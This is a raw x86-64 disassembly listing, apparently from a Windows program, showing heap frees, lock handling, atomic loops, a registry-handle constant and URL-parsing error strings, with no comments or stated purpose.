mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x168]
cmp eax, 1
je 0x14000c5a6
test eax, eax
jne case.0x14000ecef.1
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0x118]
lea rdx, [0x140040434]
call fcn.1400362ce
mov byte [rsi + 0x168], 1
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x166], 2
jne case.0x14000ecef.1
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
mov byte [r14 + 0x166], 1
cmp qword [rsp + 0x7d8], 0
mov rax, qword [rsp + 0x7e0]
mov ecx, 0x170
mov edx, 0x1d0
cmove rdx, rcx
lea rcx, [rax + rdx]
add rcx, 0x10
call fcn.14004264c
mov edi, eax
mov ebx, edx
cmp dword [r14 + 0x158], 0
je 0x14000c9ca
mov esi, dword [r14 + 0x15c]
mov r14d, dword [r14 + 0x160]
jmp 0x14000c9d4
mov edi, 8
xor ebx, ebx
xor r14d, r14d
test r13, r13
je 0x14000c653
mov rcx, qword [0x1400ea708]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, r15
call fcn.140084dc0
mov rcx, 0xffffffff80000002
call fcn.140084dc0
test rdi, rdi
je 0x14000c03a
lea rax, [rbx + rbx*2]
lea rax, [rdi + rax*8]
lea rcx, [rsp + 0x240]
mov qword [rcx], 0
lea rdx, [rsp + 0x130]
mov qword [rdx], rdi
mov qword [rdx + 8], rax
mov qword [rdx + 0x10], rcx
lea rsi, [rsp + 0xde0]
mov rcx, rsi
call fcn.140068ecd
cmp word [rsi], 2
jne 0x14000c6cc
mov qword [rsp + 0x280], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x288], xmm0
jmp 0x14000c7d6
mov qword [rsp + 0xd8], r14
mov qword [rsp + 0xd0], rdi
mov ecx, 4
call fcn.14006989f
mov r12, rax
mov rsi, rdx
lea r15, [rsp + 0xde0]
mov r13d, 0x50
mov r8d, 0x50
mov rcx, rax
mov rdx, r15
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsp + 0x180]
mov qword [rax], r12
mov qword [rax + 8], rsi
mov qword [rax + 0x10], 1
mov rax, qword [rsp + 0x140]
lea rcx, [rsp + 0x370]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rsp + 0x130]
movaps xmmword [rcx], xmm0
mov r14d, 1
mov rcx, r15
lea rdx, [rsp + 0x370]
call fcn.140068ecd
cmp word [rsp + 0xde0], 2
je 0x14000c7a6
cmp r14, qword [rsp + 0x188]
je 0x14000c78c
lea rdi, [r12 + r13]
mov ecx, 0xa
mov rsi, r15
rep movsq qword [rdi], qword [rsi]
inc r14
mov qword [rsp + 0x190], r14
add r13, 0x50
jmp 0x14000c747
lea rcx, [rsp + 0x180]
mov rdx, r14
call fcn.140074333
mov r12, qword [rsp + 0x180]
jmp 0x14000c76c
movups xmm0, xmmword [rsp + 0x180]
movaps xmmword [rsp + 0x280], xmm0
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x290], rax
mov rdi, qword [rsp + 0xd0]
mov r14, qword [rsp + 0xd8]
mov rsi, qword [rsp + 0x240]
test rsi, rsi
je 0x14000c842
lea rcx, [rsp + 0x280]
call fcn.14006e8cf
mov eax, 6
cmp word [rsi], 0x1e
jne 0x14000c808
mov rcx, rsi
call fcn.1400624bd
mov eax, 7
mov dword [rsp + 0x1580], eax
mov qword [rsp + 0x1588], rsi
mov rcx, rdi
mov rdx, rbx
call fcn.140029dc0
test r14, r14
je 0x14000c056
mov rcx, qword [0x1400ea708]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000c056
mov rax, qword [rsp + 0x280]
mov rsi, qword [rsp + 0x288]
test rax, rax
je 0x14000c7f0
mov rcx, qword [rsp + 0x290]
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x208], rsi
mov qword [rsp + 0x210], rcx
mov rcx, rdi
mov rdx, rbx
call fcn.140029dc0
test r14, r14
je 0x14000c899
mov rcx, qword [0x1400ea708]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rdx, [0x1400bd288]
mov r8d, 0x32
mov rcx, 0xffffffff80000002
call fcn.140028cf4
mov rsi, rdx
mov r14d, 3
test rax, rax
je 0x14000cc23
xor r12d, r12d
xor r15d, r15d
jmp 0x14001020d
lea rcx, [rsp + 0x980]
lea rdx, [rsp + 0x1940]
mov r8d, 0x1b8
call fcn.140085b90
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x168]
cmp eax, 1
je 0x14000c93e
test eax, eax
jne case.0x14000ecef.1
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0x118]
lea rdx, [0x140040434]
call fcn.1400362ce
mov byte [rsi + 0x168], 1
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x166], 2
jne case.0x14000ecef.1
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
mov byte [r14 + 0x166], 0
cmp qword [rsp + 0x7d8], 0
mov rax, qword [rsp + 0x7e0]
mov ecx, 0x170
mov edx, 0x1d0
cmove rdx, rcx
lea rcx, [rax + rdx]
add rcx, 0x10
call fcn.14004264c
mov edi, eax
mov ebx, edx
cmp dword [r14 + 0x158], 0
je 0x14000cc88
mov esi, dword [r14 + 0x15c]
mov r14d, dword [r14 + 0x160]
jmp 0x14000cc92
call fcn.140040b6e
mov esi, eax
mov r14d, edx
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rdx, [rax + 0x118]
mov dword [rdx + 0x40], 1
mov dword [rdx + 0x44], edi
mov dword [rdx + 0x48], ebx
mov r8, qword [rsp + 0x7d8]
mov r9, qword [rsp + 0x7e0]
lea rdi, [rsp + 0x980]
mov rcx, rdi
call fcn.140042701
mov dword [rdi + 0x18], esi
mov dword [rdi + 0x1c], r14d
mov rax, qword [rdi]
movups xmm0, xmmword [rdi + 8]
movaps xmmword [rsp + 0xde0], xmm0
mov rcx, qword [rdi + 0x18]
mov qword [rsp + 0xdf0], rcx
cmp rax, 4
je case.0x14000ecef.1
mov rcx, qword [rsp + 0xdf0]
mov qword [rsp + 0x460], rcx
movaps xmm0, xmmword [rsp + 0xde0]
movaps xmmword [rsp + 0x450], xmm0
cmp rax, 3
je case.0x14000ecef.1
mov qword [rsp + 0x11c0], rax
movaps xmm0, xmmword [rsp + 0x450]
movups xmmword [rsp + 0x11c8], xmm0
mov rax, qword [rsp + 0x460]
mov qword [rsp + 0x11d8], rax
lea rcx, [rsp + 0xde0]
lea rdx, [rsp + 0x1940]
mov r8d, 0x1b8
call fcn.140085b90
call fcn.14004438a
test rax, rax
je 0x140010e3f
lea rcx, [rsp + 0x130]
mov qword [rcx], rax
mov qword [rcx + 8], rdx
lea rsi, [rsp + 0x280]
mov qword [rsi], rcx
lea rdi, [rsp + 0x980]
lea rdx, [rsp + 0x1940]
mov r8d, 0x1b8
mov rcx, rdi
call fcn.140085b90
lea rbx, [0x140040434]
lea r14, [rsp + 0x1580]
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x168]
test eax, eax
je 0x14000cb3c
cmp eax, 1
je 0x14000cb66
mov rcx, r14
mov rdx, rdi
mov r8, rsi
call fcn.140001007
jmp 0x14000cba9
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
lea rcx, [r15 + 0x118]
mov rdx, rbx
call fcn.1400362ce
mov byte [r15 + 0x168], 1
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r15b, byte [rax + 0x164]
mov r12b, byte [rax + 0x165]
mov word [rax + 0x164], 0x8001
mov rcx, r14
mov rdx, rdi
mov r8, rsi
call fcn.140001007
mov ecx, r15d
mov edx, r12d
call fcn.14004334b
mov r15d, dword [rsp + 0x1580]
cmp r15d, 9
jne 0x14000cbc1
call fcn.140044437
jmp 0x14000cb09
lea rdx, [rsp + 0x1584]
lea rsi, [rsp + 0x12e4]
mov r8d, 0x11c
mov rcx, rsi
call fcn.140085b90
lea rcx, [rsp + 0x980]
call fcn.1400026c9
mov rax, qword [rsp + 0x130]
mov rcx, qword [rsp + 0x138]
call qword [rax + 0x18]
mov dword [rsi - 4], r15d
lea rsi, [rsp + 0x11c0]
mov ecx, dword [rsi + 0x18]
mov edx, dword [rsi + 0x1c]
call fcn.140040908
mov rcx, rsi
call fcn.1400409e0
jmp 0x14000daaa
lea r8, str.DomainEmptyHostIdnaErrorInvalidPortInvalidIpv4AddressInvalidIpv6AddressInvalidDomainCharacterRelativeUrlWithoutBaseRelativeUrlWithCannotBeABaseBaseSetHostOnCannotBeABaseUrlOverflow
lea rdi, [rsp + 0xde0]
mov r9d, 6
mov rcx, rdi
mov rdx, rsi
call fcn.140028d96
mov rbx, qword [rdi]
test rbx, rbx
je 0x14000da0a
mov r14, qword [rsp + 0xde8]
mov rdi, qword [rsp + 0xdf0]
test rdi, rdi
je 0x1400100e5
mov r15, r14
and r15, 0xffffffffffffff00
jmp 0x1400101ff
call fcn.140087b46
mov r8d, eax
xor r8b, 1
jmp 0x14000c1aa
call fcn.140040b6e
mov esi, eax
mov r14d, edx
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rdx, [rax + 0x118]
mov dword [rdx + 0x40], 1
mov dword [rdx + 0x44], edi
mov dword [rdx + 0x48], ebx
mov r8, qword [rsp + 0x7d8]
mov r9, qword [rsp + 0x7e0]
lea rdi, [rsp + 0xde0]
mov rcx, rdi
call fcn.140042701
mov dword [rdi + 0x18], esi
mov dword [rdi + 0x1c], r14d
mov rax, qword [rdi]
movups xmm0, xmmword [rdi + 8]
movaps xmmword [rsp + 0x1580], xmm0
mov rcx, qword [rdi + 0x18]
mov qword [rsp + 0x1590], rcx
cmp rax, 4
je case.0x14000ecef.1
mov rcx, qword [rsp + 0x1590]
mov qword [rsp + 0x250], rcx
movaps xmm0, xmmword [rsp + 0x1580]
movaps xmmword [rsp + 0x240], xmm0
cmp rax, 3
je case.0x14000ecef.1
mov qword [rsp + 0x330], rax
movaps xmm0, xmmword [rsp + 0x240]
movups xmmword [rsp + 0x338], xmm0
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x348], rax
cmp qword [rsp + 0x7d8], 0
jne case.0x14000ecef.1
lea rbx, [rsp + 0x460]
pxor xmm6, xmm6
xor edi, edi
xchg qword [rsp + 0x7d0], rdi
test rdi, rdi
mov qword [rsp + 0x120], rdi
jne 0x14000d377
mov qword [rsp + 0x280], 2
mov rax, qword [rsp + 0x7b0]
shr rax, 2
movdqu xmmword [rbx], xmm6
mov qword [rbx + 0x10], 0
lea rcx, [rsp + 0x7b0]
mov qword [rsp + 0x450], rcx
mov qword [rsp + 0x458], rax
lea rdx, [rsp + 0x478]
movdqu xmmword [rdx], xmm6
mov byte [rdx + 0x10], 0
mov eax, dword [rsp + 0x260]
mov ecx, dword [rsp + 0x263]
mov dword [rdx + 0x14], ecx
mov dword [rdx + 0x11], eax
call fcn.14004438a
test rax, rax
je case.0x14000ecef.1
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], rdx
lea rax, [rsp + 0x130]
mov qword [rsp + 0x200], rax
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x168]
cmp eax, 1
je 0x14000ce6d
mov cl, 2
test eax, eax
jne 0x14000ce9c
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0x118]
lea rdx, [0x140040434]
call fcn.1400362ce
mov byte [rsi + 0x168], 1
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov cl, byte [rax + 0x164]
mov dl, byte [rax + 0x165]
mov byte [rsp + 0xd8], dl
mov word [rax + 0x164], 0x8001
mov byte [rsp + 0xd0], cl
mov rdi, rbx
mov r13, qword [rsp + 0x200]
mov r15, qword [rsp + 0x450]
lea rsi, [r15 + 8]
lea rax, [r15 + 0x18]
mov qword [rsp + 0xe0], rax
movzx eax, byte [rsp + 0x488]
test rax, rax
jne 0x14000cf9a
mov rcx, qword [r15]
and rcx, 0xfffffffffffffffc
lea rax, [rcx + 2]
lock cmpxchg qword [r15], rcx
jne 0x14000cef3
mov byte [rsp + 0x488], 2
jmp 0x14000cec6
mov rax, qword [r13]
mov rcx, qword [r13 + 8]
call qword [rax]
mov rbx, rax
mov r12, rdx
xor eax, eax
mov cl, 1
lock cmpxchg byte [rsi], cl
jne 0x14000d052
mov rcx, qword [r15]
mov rax, rcx
shr rax, 2
cmp rax, qword [rsp + 0x458]
jne 0x14000cf79
mov rax, rcx
and rax, 3
je 0x14000cf53
cmp eax, 2
jne 0x14000d0cd
and rcx, 0xfffffffffffffffc
lea rax, [rcx + 2]
lock cmpxchg qword [r15], rcx
je 0x14000cf79
mov rcx, rax
test cl, 3
je 0x14000cf25
jmp case.0x14000ecef.1
and rcx, 0xfffffffffffffffc
lea rdx, [rcx + 1]
mov rax, rcx
lock cmpxchg qword [r15], rdx
je 0x14000d0d6
mov rcx, rax
and eax, 3
cmp eax, 2
je 0x14000cf25
jmp case.0x14000ecef.1
mov byte [rsp + 0x488], 2
mov al, 1
xor ecx, ecx
lock cmpxchg byte [rsi], cl
jne 0x14000d05f
mov rcx, r12
call qword [rbx + 0x18]
jmp 0x14000cec6
cmp eax, 1
mov rbx, rdi
jne 0x14000d1e5
mov rax, qword [rsp + 0x480]
cmp rax, 3
jae case.0x14000ecef.1
test rax, rax
jne 0x14000d1ad
xor eax, eax
mov cl, 1
lock cmpxchg byte [rsi], cl
jne 0x14000d0b6
mov rax, qword [rsp + 0x480]
cmp rax, 3
jae case.0x14000ecef.1
test rax, rax
jne 0x14000d215
mov rax, qword [r15]
shr rax, 2
mov rbx, qword [rsp + 0x470]
cmp rax, qword [rsp + 0x458]
je 0x14000d269
mov rax, qword [rsp + 0x460]
mov r14, qword [rsp + 0x478]
mov qword [rsp + 0x470], 0
test rax, rax
je 0x14000d06c
mov rcx, qword [rsp + 0x468]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x468]
test rax, rax
je 0x14000d080
mov rcx, qword [rsp + 0x460]
mov qword [rax], rcx
movdqu xmmword [rdi], xmm6
jmp 0x14000d090
mov rcx, rsi
call fcn.140086e07
jmp 0x14000cf11
mov rcx, rsi
call fcn.140086b5d
jmp 0x14000cf8f
cmp qword [r15 + 0x10], rdi
jne 0x14000d090
mov rax, qword [rsp + 0x468]
mov qword [r15 + 0x10], rax
jmp 0x14000d03c
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp qword [rcx], rdi
je 0x14000d041
mov byte [rsp + 0x488], 2
mov al, 1
xor ecx, ecx
lock cmpxchg byte [rsi], cl
jne 0x14000d0c3
test rbx, rbx
je 0x14000cec6
mov rcx, r14
call qword [rbx + 0x18]
jmp 0x14000cec6
mov rcx, rsi
call fcn.140086e07
jmp 0x14000cfcf
mov rcx, rsi
call fcn.140086b5d
jmp 0x14000d0a2
cmp eax, 1
jne case.0x14000ecef.1
mov r13, qword [rsp + 0x470]
mov r14, qword [rsp + 0x478]
mov qword [rsp + 0x470], rbx
mov qword [rsp + 0x478], r12
mov rax, qword [r15 + 0x10]
cmp rax, rdi
je case.0x14000ecef.1
mov rbx, rdi
mov qword [rsp + 0x468], rax
mov qword [rsp + 0x460], 0
test rax, rax
je 0x14000d122
mov qword [rax], rbx
mov qword [r15 + 0x10], rbx
cmp qword [r15 + 0x18], 0
jne 0x14000d138
mov rax, qword [rsp + 0xe0]
mov qword [rax], rbx
mov byte [rsp + 0x488], 1
mov al, 1
xor ecx, ecx
lock cmpxchg byte [rsi], cl
jne 0x14000d1a3
test r13, r13
je 0x14000d156
mov rcx, r14
call qword [r13 + 0x18]
lea rcx, [rsp + 0xde0]
lea rdx, [rsp + 0x980]
lea r8, [rsp + 0x200]
call fcn.140001007
mov esi, dword [rsp + 0xde0]
cmp esi, 9
jne 0x14000d186
mov esi, 0xa
jmp 0x14000d1ea
mov r8d, 0x11c
lea rcx, [rsp + 0x11c0]
lea rdx, [rsp + 0xde4]
call fcn.140085b90
jmp 0x14000d1ea
mov rcx, rsi
call fcn.140086b5d
jmp 0x14000d14a
mov rax, qword [rsp + 0x470]
mov rcx, qword [rsp + 0x478]
mov qword [rsp + 0x470], 0
test rax, rax
je 0x14000d1d1
call qword [rax + 0x18]
mov qword [rsp + 0x480], 0
mov byte [rsp + 0x488], 2
mov esi, 9
mov cl, byte [rsp + 0xd0]
mov dl, byte [rsp + 0xd8]
cmp cl, 2
je 0x14000d202
call fcn.14004334b
cmp esi, 0xa
jne 0x14000d2f4
call fcn.140044437
jmp 0x14000ce1b
mov r14, qword [rsp + 0x470]
mov rbx, qword [rsp + 0x478]
mov qword [rsp + 0x470], 0
mov qword [rsp + 0x480], 0
mov al, 1
xor ecx, ecx
lock cmpxchg byte [rsi], cl
jne 0x14000d2e2
test r14, r14
je 0x14000d257
mov rcx, rbx
call qword [r14 + 0x18]
mov byte [rsp + 0x488], 2
mov esi, 9
mov rbx, rdi
jmp 0x14000d1ea
test rbx, rbx
je 0x14000d288
mov rcx, qword [rsp + 0x478]
mov rax, qword [r13]
mov rdx, qword [r13 + 8]
cmp rcx, rdx
je 0x14000d292
mov rcx, rdx
jmp 0x14000d2b8
mov rax, qword [r13]
mov rcx, qword [r13 + 8]
jmp 0x14000d2b8
mov rdx, qword [rbx]
cmp rdx, qword [rax]
jne 0x14000d2b8
mov rdx, qword [rbx + 8]
cmp rdx, qword [rax + 8]
jne 0x14000d2b8
mov rdx, qword [rbx + 0x10]
cmp rdx, qword [rax + 0x10]
jne 0x14000d2b8
mov rdx, qword [rbx + 0x18]
cmp rdx, qword [rax + 0x18]
je 0x14000d2ef
call qword [rax]
mov r13, qword [rsp + 0x470]
mov r14, qword [rsp + 0x478]
mov qword [rsp + 0x470], rax
mov qword [rsp + 0x478], rdx
mov rbx, rdi
jmp 0x14000d140
mov rcx, rsi
call fcn.140086b5d
jmp 0x14000d24b
xor r13d, r13d
jmp 0x14000d2da
mov r8d, 0x11c
lea rcx, [rsp + 0x1584]
lea rdx, [rsp + 0x11c0]
call fcn.140085b90
mov rax, qword [rsp + 0x130]
mov rcx, qword [rsp + 0x138]
call qword [rax + 0x18]
mov dword [rsp + 0x1580], esi
cmp esi, 9
jne 0x14000d91e
lea rcx, [rsp + 0x450]
call fcn.140045801
mov rax, qword [rsp + 0x470]
test rax, rax
je 0x14000d357
mov rcx, qword [rsp + 0x478]
call qword [rax + 0x18]
cmp dword [rsp + 0x280], 2
je 0x14000cd72
lea rcx, [rsp + 0x280]
call fcn.140004434
jmp 0x14000cd72
mov rax, qword [rsp + 0x7e0]
lock inc qword [rax]
jle case.0x14000ecef.1
xorps xmm0, xmm0
lea rcx, [rsp + 0x2b0]
movups xmmword [rcx], xmm0
xor edx, edx
lea rsi, [rsp + 0x280]
mov qword [rsi], rdx
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rdx
mov qword [rsi + 0x18], rdi
mov qword [rsi + 0x20], rdx
mov qword [rsi + 0x28], 8
lea rax, [rsp + 0x7b0]
mov qword [rsi + 0x40], rax
lea rbx, [rsp + 0x130]
mov ecx, 9
mov rdi, rbx
rep movsq qword [rdi], qword [rsi]
cmp qword [rbx], rdx
jne case.0x14000ecef.1
cmp qword [rsp + 0x140], 0
jne 0x140010d51
mov qword [rsp + 0x140], 0xffffffffffffffff
mov r14, qword [rsp + 0x148]
mov qword [rsp + 0x148], 0
test r14, r14
je case.0x14000ecef.1
lea rdi, [rsp + 0x138]
mov qword [rdi + 8], 0
mov qword [rsp + 0x200], rbx
lea rax, [rsp + 0x980]
mov qword [rsp + 0x208], rax
mov qword [rsp + 0x210], r14
mov qword [rsp + 0x218], rdi
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x168]
cmp eax, 1
je 0x14000d4a8
test eax, eax
jne 0x140010e99
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0x118]
lea rdx, [0x140040434]
call fcn.1400362ce
mov byte [rsi + 0x168], 1
lea rsi, [rsp + 0x148]
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x150]
mov qword [rsp + 0xd0], rcx
mov qword [rax + 0x150], rbx
mov rax, qword [rsi - 0x10]
lea rcx, [rax + 0x10]
mov byte [rax + 0xb8], 1
lea rdx, [0x1400bead8]
lea r8, [rsp + 0x260]
mov qword [r8], rdx
mov qword [r8 + 8], rcx
lea rcx, [rsp + 0x300]
mov qword [rcx], r8
lea r12, [0x140040434]
xor ecx, ecx
xchg byte [rax + 0xb8], cl
test cl, cl
je 0x14000d699
cmp qword [rsp + 0x140], 0
jne 0x140010d51
mov qword [rsp + 0x140], 0xffffffffffffffff
cmp qword [rsp + 0x148], 0
je 0x14000d55b
mov rcx, rsi
call fcn.1400045a1
mov rax, qword [rsp + 0x140]
inc rax
jmp 0x14000d55d
xor eax, eax
mov qword [rsp + 0x148], r14
mov qword [rsp + 0x140], rax
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x168]
test eax, eax
je 0x14000d5af
cmp eax, 1
je 0x14000d5d8
lea rcx, [rsp + 0xde0]
lea rdx, [rsp + 0x980]
lea r8, [rsp + 0x300]
call fcn.140001007
jmp 0x14000d62a
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0x118]
mov rdx, r12
call fcn.1400362ce
mov byte [rbx + 0x168], 1
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r14b, byte [rax + 0x164]
mov r15b, byte [rax + 0x165]
mov word [rax + 0x164], 0x8001
lea rcx, [rsp + 0xde0]
lea rdx, [rsp + 0x980]
lea r8, [rsp + 0x300]
call fcn.140001007
mov ecx, r14d
mov edx, r15d
call fcn.14004334b
cmp qword [rsp + 0x140], 0
jne 0x140010d51
mov qword [rsp + 0x140], 0xffffffffffffffff
mov r14, qword [rsp + 0x148]
mov qword [rsp + 0x148], 0
test r14, r14
je case.0x14000ecef.1
mov qword [rsp + 0x140], 0
mov ebx, dword [rsp + 0xde0]
mov r8d, 0x11c
lea rcx, [rsp + 0x1580]
lea rdx, [rsp + 0xde4]
call fcn.140085b90
cmp ebx, 9
jne 0x1400106a9
mov r8, qword [rsp + 0x138]
mov ebx, dword [r8 + 0x58]
test ebx, ebx
je 0x14000d8c3
cmp byte [r14 + 0x68], 0
jne 0x14000d96a
mov eax, dword [r14 + 0x60]
mov r8d, dword [r14 + 0x64]
inc eax
mov dword [r14 + 0x60], eax
test r8d, r8d
je case.0x14000ecef.1
mov rcx, qword [rsp + 0x138]
xor edx, edx
div r8d
test edx, edx
je 0x14000d71d
mov rdx, qword [r14 + 0x58]
test rdx, rdx
je 0x14000d776
mov rcx, qword [r14 + 0x48]
mov rax, qword [r14 + 0x50]
lea r8, [rax + 1]
cmp r8, rcx
mov r8d, 0
cmovae r8, rcx
neg r8
lea rcx, [rax + r8]
inc rcx
mov qword [r14 + 0x50], rcx
dec rdx
mov qword [r14 + 0x58], rdx
jmp 0x14000d76c
add rcx, 0x90
call fcn.140042c9c
mov r15, rax
test rax, rax
jne 0x14000d78e
mov rcx, qword [r14 + 0x58]
test rcx, rcx
je 0x14000d8e2
mov rdx, qword [r14 + 0x48]
mov rax, qword [r14 + 0x50]
lea r8, [rax + 1]
cmp r8, rdx
mov r8d, 0
cmovae r8, rdx
neg r8
lea rdx, [rax + r8]
inc rdx
mov qword [r14 + 0x50], rdx
dec rcx
mov qword [r14 + 0x58], rcx
mov rcx, qword [r14 + 0x40]
mov r15, qword [rcx + rax*8]
jmp 0x14000d78e
add rcx, 0x90
call fcn.140042c9c
mov r15, rax
test rax, rax
je 0x14000d8e2
cmp qword [rsp + 0x140], 0
jne 0x140010d51
mov qword [rsp + 0x140], 0xffffffffffffffff
cmp qword [rsp + 0x148], 0
je 0x14000d7c9
mov rcx, rsi
call fcn.1400045a1
mov rax, qword [rsp + 0x140]
inc rax
jmp 0x14000d7cb
xor eax, eax
mov qword [rsp + 0x148], r14
mov qword [rsp + 0x140], rax
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x168]
cmp eax, 1
je 0x14000d82b
mov r14b, 2
test eax, eax
jne 0x14000d855
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0x118]
mov rdx, r12
call fcn.1400362ce
mov byte [r14 + 0x168], 1
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r14b, byte [rax + 0x164]
mov r13b, byte [rax + 0x165]
mov word [rax + 0x164], 0x8001
mov rax, qword [r15 + 0x10]
mov rcx, r15
call qword [rax]
cmp r14b, 2
je 0x14000d86f
mov ecx, r14d
mov edx, r13d
call fcn.14004334b
cmp qword [rsp + 0x140], 0
jne 0x140010d51
mov qword [rsp + 0x140], 0xffffffffffffffff
mov r14, qword [rsp + 0x148]
mov qword [rsp + 0x148], 0
test r14, r14
je case.0x14000ecef.1
mov qword [rsp + 0x140], 0
dec ebx
jne 0x14000d6ad
mov r8, qword [rsp + 0x138]
add r8, 0x10
mov rcx, rdi
mov rdx, r14
call fcn.1400446e2
mov r14, rax
mov rax, qword [rsp + 0x138]
jmp 0x14000d510
movabs rax, 0x7fffffffffffffff
cmp qword [rsp + 0x150], rax
jae 0x140010d51
mov r8, qword [rsp + 0x138]
add r8, 0x10
cmp qword [rsp + 0x168], 0
jne 0x14000d8c7
mov rcx, rdi
mov rdx, r14
call fcn.140044478
jmp 0x14000d8d2
lea rcx, [rsp + 0x12e0]
lea rdx, [rsp + 0x1580]
mov r8d, 0x120
call fcn.140085b90
lea rsi, [rsp + 0x450]
mov rcx, rsi
call fcn.140045801
mov rax, qword [rsi + 0x20]
test rax, rax
je 0x14000d95d
mov rcx, qword [rsp + 0x478]
call qword [rax + 0x18]
mov rdi, qword [rsp + 0x120]
jmp 0x14000da63
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rsp + 0xd0]
mov qword [rax + 0x150], rcx
lea rdi, [rsp + 0x450]
lea rdx, [rsp + 0x11c0]
mov r8d, 0x11c
mov rcx, rdi
call fcn.140085b90
mov r15, qword [rsp + 0x140]
lea rcx, [rsp + 0xde0]
mov r8d, 0x11c
mov rdx, rdi
call fcn.140085b90
mov ebx, 9
test r15, r15
jne 0x140010d51
mov qword [rsp + 0x140], 0xffffffffffffffff
cmp qword [rsp + 0x148], 0
mov rdi, qword [rsp + 0x120]
je 0x14000da25
mov rcx, rsi
call fcn.1400045a1
mov rax, qword [rsp + 0x140]
inc rax
jmp 0x14000da27
mov rdi, qword [rsp + 0xde8]
mov rcx, rsi
call fcn.140084dc0
xor r12d, r12d
mov rsi, rdi
jmp 0x14000c8c7
xor eax, eax
lea rcx, [rsp + 0x130]
mov qword [rcx + 0x18], r14
mov qword [rcx + 0x10], rax
call fcn.140004434
cmp ebx, 9
je case.0x14000ecef.1
lea rcx, [rsp + 0x12e4]
mov dword [rcx - 4], ebx
lea rdx, [rsp + 0xde0]
mov r8d, 0x11c
call fcn.140085b90
test rdi, rdi
jne 0x14000da82
mov rax, qword [rsp + 0x280]
cmp eax, 2
je 0x14000da82
lea rcx, [rsp + 0x280]
call fcn.140004434
lea rsi, [rsp + 0x330]
mov ecx, dword [rsi + 0x18]
mov edx, dword [rsi + 0x1c]
call fcn.140040908
mov rcx, rsi
call fcn.1400409e0
lea rcx, [rsp + 0x980]
call fcn.1400026c9
lea rcx, [rsp + 0x3f0]
call fcn.1400409e0
cmp byte [rsp + 0xf0], 0
lea rsi, [rsp + 0x798]
jne 0x14000dae3
mov rax, qword [0x1400ea788]
movabs rcx, 0x7fffffffffffffff
test rax, rcx
jne 0x1400101dd
mov rcx, rsi
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
mov r14d, dword [rsp + 0x12e0]
cmp r14d, 8
jne 0x14000dd17
lea rsi, [rsp + 0x12e8]
lea rax, [rsp + 0x374]
mov ecx, 0x1e
mov rdi, rax
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0x180]
mov ecx, 0x1e
mov rsi, rax
rep movsd dword [rdi], dword [rsi]
lea rax, [rsp + 0x410]
mov qword [rsp + 0x1940], rax
lea rax, [0x1400184e4]
mov qword [rsp + 0x1948], rax
lea rdi, [rsp + 0x980]
lea rax, [0x14008c580]
mov qword [rdi], rax
mov ebx, 2
